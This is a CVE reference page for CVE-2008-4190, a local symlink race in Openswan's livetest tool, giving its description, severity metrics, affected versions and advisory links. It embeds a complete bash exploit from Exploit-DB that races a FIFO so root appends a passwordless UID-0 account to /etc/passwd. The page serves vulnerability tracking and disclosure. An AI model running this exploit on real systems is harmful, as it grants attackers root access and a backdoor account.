CVE-2008-4190 : Detail

CVE-2008-4190

A01-Broken Access Control
0.04%V3
Local
2008-09-24
08h00 +00:00
2018-10-11
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The IPSEC livetest tool in Openswan 2.4.12 and earlier, and 2.6.x through 2.6.16, allows local users to overwrite arbitrary files and execute arbitrary code via a symlink attack on the (1) ipseclive.conn and (2) ipsec.olts.remote.log temporary files. NOTE: in many distributions and the upstream version, this tool has been disabled.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-59 Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.4 AV:L/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9135

Publication date : 2009-07-12 22h00 +00:00
Author : nofame
EDB Verified : Yes

#!/bin/bash # uglyswan - OpenSwan local root exploit (CVE-2008-4190) # # description: # The IPSEC livetest tool in Openswan 2.4.12 and earlier, and 2.6.x through 2.6.16, # allows local users to overwrite arbitrary files and execute arbitrary code via a # symlink attack on the (1) ipseclive.conn and (2) ipsec.olts.remote.log temporary files. # NOTE: in many distributions and the upstream version, this tool has been disabled. # # vulnerable code: # wget -o /dev/null -O /tmp/ipseclive.conn "http://192.168.0.1/olts/?leftid=$leftid&$leftrsasigkey&version=$version" # sh < /tmp/ipseclive.conn # # the exploit: # cat waits for the input from wget to the fifo and after it received it, you # immediately echo your command into the fifo which was empty again and viola, it # gets executed, because the sh binary needs a few milliseconds to get loaded, # it's a typical race condition. # # problem: # you need to trick root to execute "ipsec livetest", and this script needs to run in background... # # I don't want no fame for this as it is ripped from Gentoo bug 238574, thanks # mkfifo /tmp/ipseclive.conn cat /tmp/ipseclive.conn echo 'echo t00r::0:0::/tmp:/bin/sh>>/etc/passwd' > /tmp/ipseclive.conn rm /tmp/ipseclive.conn su -l t00r # milw0rm.com [2009-07-13]

Products Mentioned

Configuraton 0

Openswan>>Openswan >> Version 1.0.4

    Openswan>>Openswan >> Version 1.0.5

      Openswan>>Openswan >> Version 1.0.6

        Openswan>>Openswan >> Version 1.0.7

          Openswan>>Openswan >> Version 1.0.8

            Openswan>>Openswan >> Version 1.0.9

              Openswan>>Openswan >> Version 2.1.1

                Openswan>>Openswan >> Version 2.1.2

                  Openswan>>Openswan >> Version 2.1.4

                    Openswan>>Openswan >> Version 2.1.5

                      Openswan>>Openswan >> Version 2.1.6

                        Openswan>>Openswan >> Version 2.2

                          Openswan>>Openswan >> Version 2.3

                            Xelerance>>Openswan >> Version 2.3.1

                            Xelerance>>Openswan >> Version 2.4.0

                            Xelerance>>Openswan >> Version 2.4.1

                            Xelerance>>Openswan >> Version 2.4.2

                            Xelerance>>Openswan >> Version 2.4.3

                            Xelerance>>Openswan >> Version 2.4.4

                            Xelerance>>Openswan >> Version 2.4.5

                            Xelerance>>Openswan >> Version 2.4.6

                            Xelerance>>Openswan >> Version 2.4.7

                            Xelerance>>Openswan >> Version 2.4.8

                            Xelerance>>Openswan >> Version 2.4.9

                            Xelerance>>Openswan >> Version 2.4.10

                            Xelerance>>Openswan >> Version 2.4.11

                            Xelerance>>Openswan >> Version 2.4.12

                            Xelerance>>Openswan >> Version 2.6.03

                            Xelerance>>Openswan >> Version 2.6.04

                            Xelerance>>Openswan >> Version 2.6.05

                            Xelerance>>Openswan >> Version 2.6.06

                            Xelerance>>Openswan >> Version 2.6.07

                            Xelerance>>Openswan >> Version 2.6.08

                            Xelerance>>Openswan >> Version 2.6.09

                            Xelerance>>Openswan >> Version 2.6.10

                            Xelerance>>Openswan >> Version 2.6.11

                            Xelerance>>Openswan >> Version 2.6.12

                            Xelerance>>Openswan >> Version 2.6.13

                            Xelerance>>Openswan >> Version 2.6.14

                            Xelerance>>Openswan >> Version 2.6.15

                            Xelerance>>Openswan >> Version 2.6.16

                            References

                            http://secunia.com/advisories/34472
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://www.openwall.com/lists/oss-security/2008/10/30/2
                            Tags : mailing-list, x_refsource_MLIST
                            http://secunia.com/advisories/34182
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://www.securityfocus.com/bid/31243
                            Tags : vdb-entry, x_refsource_BID
                            https://www.exploit-db.com/exploits/9135
                            Tags : exploit, x_refsource_EXPLOIT-DB
                            http://www.redhat.com/support/errata/RHSA-2009-0402.html
                            Tags : vendor-advisory, x_refsource_REDHAT
                            http://www.debian.org/security/2009/dsa-1760
                            Tags : vendor-advisory, x_refsource_DEBIAN